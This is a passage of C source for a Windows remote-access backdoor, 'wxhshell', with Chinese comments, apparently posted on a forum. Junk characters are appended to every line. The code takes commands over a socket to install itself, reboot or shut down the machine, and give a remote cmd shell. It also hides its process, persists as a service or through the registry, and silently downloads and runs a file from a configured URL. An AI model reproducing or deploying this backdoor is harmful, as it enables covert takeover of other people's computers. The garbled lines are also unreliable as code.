  &1{k^>oz  
  // 帮助 l1[IXw?  
  case '?': { ("6W.i>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a3 x~B=E  
    break; e2fct|'  
  } B@=<'/S\7  
  // 安装 AIyv;}5  
  case 'i': { &^H "T6  
    if(Install()) h~@+M5r,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ lW "M  
    else ni> ;8O]=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fz3*oJ'  
    break; /WfVG\NF  
    } g@k9w{_  
  // 卸载 4:']'E  
  case 'r': { xNkY'4%  
    if(Uninstall()) (0Cszm.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G= cxc_9  
    else { 1%ZyY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >B  
    break; v~Qy{dn P  
    } zTB9GrU  
  // 显示 wxhshell 所在路径 E2|iAT+=.  
  case 'p': { G,-OH-M!  
    char svExeFile[MAX_PATH]; j%;)CV G"  
    strcpy(svExeFile,"\n\r"); F21[r!3  
      strcat(svExeFile,ExeFile); Z L</  
        send(wsh,svExeFile,strlen(svExeFile),0); ([*t.  
    break; DcA'{21  
    } ~S6{VK.  
  // 重启 njMy&$6a##  
  case 'b': { ~P_kr'o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P{eRDQ=  
    if(Boot(REBOOT)) #pSOZX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oDUMoX%4s  
    else { oNZ W#<K  
    closesocket(wsh); [{F7Pc  
    ExitThread(0); !@ {[I:5  
    } SZ{cno1`  
    break; ]gksyxn3  
    } 6 W;k IoB  
  // 关机 9 Zm<1Fw  
  case 'd': { )uvFta<(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l|A8AuO*?  
    if(Boot(SHUTDOWN)) Mqp68%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dF;Gcw+  
    else { ;;!{m(;LS}  
    closesocket(wsh); 9Oyi:2A  
    ExitThread(0); ]4mj 1g&C  
    } - >I{ :#  
    break; ~iZF~PQ1_  
    } HDyZzjgG  
  // 获取shell \STvBI?  
  case 's': { B5HdC%8/}  
    CmdShell(wsh); vXyo  
    closesocket(wsh); f+Medc~  
    ExitThread(0); uk  f\*  
    break; ]a#]3(o]}  
  } FM"BTA:C  
  // 退出 ~@b}=+n  
  case 'x': { \C#b@xLnX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5,BkwAr+6[  
    CloseIt(wsh); y=xe<#L  
    break; ]wpYxos  
    } +A?+G  
  // 离开 Q 02??W  
  case 'q': { $Wzv$4;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r/sRXM:3cZ  
    closesocket(wsh); Ko|xEz=  
    WSACleanup(); E)wT+\  
    exit(1); 0Y*gJ!a  
    break; {mnSTL`  
        } BC{J3<0bf@  
  } 5qQ(V)ah  
  } vC<kpf!  
]#q7}Sd  
  // 提示信息 irb.F>(x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u6I0<i_KZ  
} H0 n@kKr  
  } W?J*9XQ`  
s*/ G- lY  
  return; 36WzFq#  
} NvHy'  
7TPLVa=hO  
// shell模块句柄 a~>0JmM+N  
int CmdShell(SOCKET sock) 4*XP;`  
{ e=)* O  
STARTUPINFO si; ZX6=D>)u  
ZeroMemory(&si,sizeof(si)); ; :\,x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lEb R)B,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k,iV$,[TF  
PROCESS_INFORMATION ProcessInfo; +Y9D!=_lj  
char cmdline[]="cmd"; -_*XhD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _<F@(M5  
  return 0; ?Wz(f{Hm  
} "jJdUFN  
9hLmrYNM1  
// 自身启动模式 r]EZ)qp^@  
int StartFromService(void) Ldj^O9p(  
{ Xa%&.&V  
typedef struct I cA\3j  
{ bc=u1=~w  
  DWORD ExitStatus; ~K#_'Ldrd  
  DWORD PebBaseAddress; @1-GPmj-  
  DWORD AffinityMask; m *bKy;'8  
  DWORD BasePriority; xiOrk  
  ULONG UniqueProcessId; q MdtJ(gq  
  ULONG InheritedFromUniqueProcessId; *o\Y~U-so  
}   PROCESS_BASIC_INFORMATION; dms:i)L2  
X.AWs=:-  
PROCNTQSIP NtQueryInformationProcess; 'j<:FUDJ  
aco}pXz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l^y?L4hg)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ta\8 >\6  
9c5G6n0  
  HANDLE             hProcess; ,-I F++q  
  PROCESS_BASIC_INFORMATION pbi; ]G o~]7(5|  
l)rvh#D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); awSS..g}L  
  if(NULL == hInst ) return 0; @uM3iO7&  
k#:@fH4{PA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hs`#{W{.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !_z<W~t"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Zeg\}/4[  
zmfRZ!Eh  
  if (!NtQueryInformationProcess) return 0; %)hIpxOrX  
Or#+E2%1E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vH?+JN"A  
  if(!hProcess) return 0; C|~JPcl  
"K$Wh1<7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~iR!3+yg4  
si!9Gz;  
  CloseHandle(hProcess); Rw ao5l=x  
cM<hG:4%wX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0@e}hv;  
if(hProcess==NULL) return 0; W "\tkh2  
vz #wP  
HMODULE hMod; Zc\h15+P  
char procName[255]; Rr;LV<q+  
unsigned long cbNeeded; vD)A)  
Jyz$&jqyr'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EBDC'^  
5IE+M  
  CloseHandle(hProcess); uM#U!  
>gZk 581/  
if(strstr(procName,"services")) return 1; // 以服务启动 gC_s\WU  
)<x;ra^  
  return 0; // 注册表启动 X?v ^>mA  
} N4` 9TN7  
p`<e~[]a  
// 主模块 eYD9#y  
int StartWxhshell(LPSTR lpCmdLine) I bv_D$cT  
{ At[n<8_|  
  SOCKET wsl; Th;gps%b  
BOOL val=TRUE; Z/6'kE{l  
  int port=0; D@r n@N  
  struct sockaddr_in door; qvfAG 0p  
ekl? K~  
  if(wscfg.ws_autoins) Install(); x+*L5$;h  
o~.o^0Y  
port=atoi(lpCmdLine); Puth8$  
[cTRz*\s  
if(port<=0) port=wscfg.ws_port; K@j^gF/0B  
$G-N0LV  
  WSADATA data; WP% {{zR$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xx y Bg!R  
8NAWA3^B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XC/]u%n8](  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?;r8SowZ7  
  door.sin_family = AF_INET; X.T\=dm%v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LcpyW=)}"V  
  door.sin_port = htons(port); %M;_(jda  
\A3>c|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ky '3z"  
closesocket(wsl); THbtu*El  
return 1; /,uSCITD  
} Gkodk[VuLs  
2NA rE@  
  if(listen(wsl,2) == INVALID_SOCKET) { :9x084ESR)  
closesocket(wsl); b!^M}s6  
return 1; =@1R ozt  
} ;*)fO? TG)  
  Wxhshell(wsl); JJ N(M*;  
  WSACleanup(); e1 {t0f  
we H@S  
return 0; T) Zt'M  
mS w?2ba  
} 1W}nYU  
SN[L4}{  
// 以NT服务方式启动 '!yS72{$2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GOZQ5m -  
{ y[^k*,= 9  
DWORD   status = 0; /50g3?X,  
  DWORD   specificError = 0xfffffff; .n)!ZN  
az \<sWb#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h[-d1bKwS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =mi:<q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aX[1H6&=7  
  serviceStatus.dwWin32ExitCode     = 0; ].k+Nzf_  
  serviceStatus.dwServiceSpecificExitCode = 0; $xUzFLh=`  
  serviceStatus.dwCheckPoint       = 0; MKVfy:g%So  
  serviceStatus.dwWaitHint       = 0; x#:BE  
M~ i+F0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tkdBlG]!  
  if (hServiceStatusHandle==0) return; k binf  
Rekb?|{z  
status = GetLastError(); /+x#V!zM  
  if (status!=NO_ERROR) ,{uW8L  
{ 6HEqm>Yau  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _\4`  
    serviceStatus.dwCheckPoint       = 0; D8@n kSP  
    serviceStatus.dwWaitHint       = 0; x:A-p..e  
    serviceStatus.dwWin32ExitCode     = status; ?2?S[\@`0U  
    serviceStatus.dwServiceSpecificExitCode = specificError; `\W   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,N@Yk.  
    return; H4 }%;m%  
  } HvqF@/xh  
E VN-<=i^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uXG`6|?  
  serviceStatus.dwCheckPoint       = 0; tL={y*  
  serviceStatus.dwWaitHint       = 0; '#,e @v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B0b[p*g Il  
} _4.]A 3;}  
>op:0on]}  
// 处理NT服务事件,比如:启动、停止 c|\ZRBdI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \uU=O )  
{ #hD}S~  
switch(fdwControl) LC,*H0  
{ gnQo1q{ 4  
case SERVICE_CONTROL_STOP: ;0w^ud  
  serviceStatus.dwWin32ExitCode = 0; rP^TN^bd|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2qs>Bshf  
  serviceStatus.dwCheckPoint   = 0; H[ BD)  
  serviceStatus.dwWaitHint     = 0; E-yT  
  { PcHSm/d0e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~7lTqY\  
  } yqC Q24  
  return; YGq=8p7.R  
case SERVICE_CONTROL_PAUSE: ;~Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h&=O-5  
  break; GSMk\9SI  
case SERVICE_CONTROL_CONTINUE: P+)qE6\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &=F-moDD  
  break; DU5:+" u3  
case SERVICE_CONTROL_INTERROGATE: :]CzN^k(1c  
  break; j4~7akG  
}; m,W) N9 M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <*s"e)XeqF  
} Q00R<hu@F  
uipq=Yp.  
// 标准应用程序主函数 fm(mO%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @4IW=V  
{ up\oWR:  
 0dgP  
// 获取操作系统版本 hp bwZ  
OsIsNt=GetOsVer(); (C8 U   
GetModuleFileName(NULL,ExeFile,MAX_PATH); *4 <4  
s? QVX~S"  
  // 从命令行安装 ?QCmSK=L  
  if(strpbrk(lpCmdLine,"iI")) Install(); w)+wj[6 E  
A6Ghj{~  
  // 下载执行文件 ?PBa'g  
if(wscfg.ws_downexe) { QGs1zfh*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T>}0) s  
  WinExec(wscfg.ws_filenam,SW_HIDE); z$JX'(<Z7  
} +hE',i.  
a q3~!T;W  
if(!OsIsNt) { 3lo;^KX !  
// 如果时win9x,隐藏进程并且设置为注册表启动 J|V K P7  
HideProc(); X}ZlWJ  
StartWxhshell(lpCmdLine); ;B&^yj&;  
} e^j<jV`1  
else c_ La^HS  
  if(StartFromService()) bGbqfO`  
  // 以服务方式启动 2t+D8 d|c<  
  StartServiceCtrlDispatcher(DispatchTable); "j{i,&Y$_  
else nz4<pvC,*  
  // 普通方式启动 xK(IS:HJ*  
  StartWxhshell(lpCmdLine); >[ eW">:>K  
9ky7r;?  
return 0; ;{|X,;s  
}
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只看该作者 1 发表于: 2006-10-10
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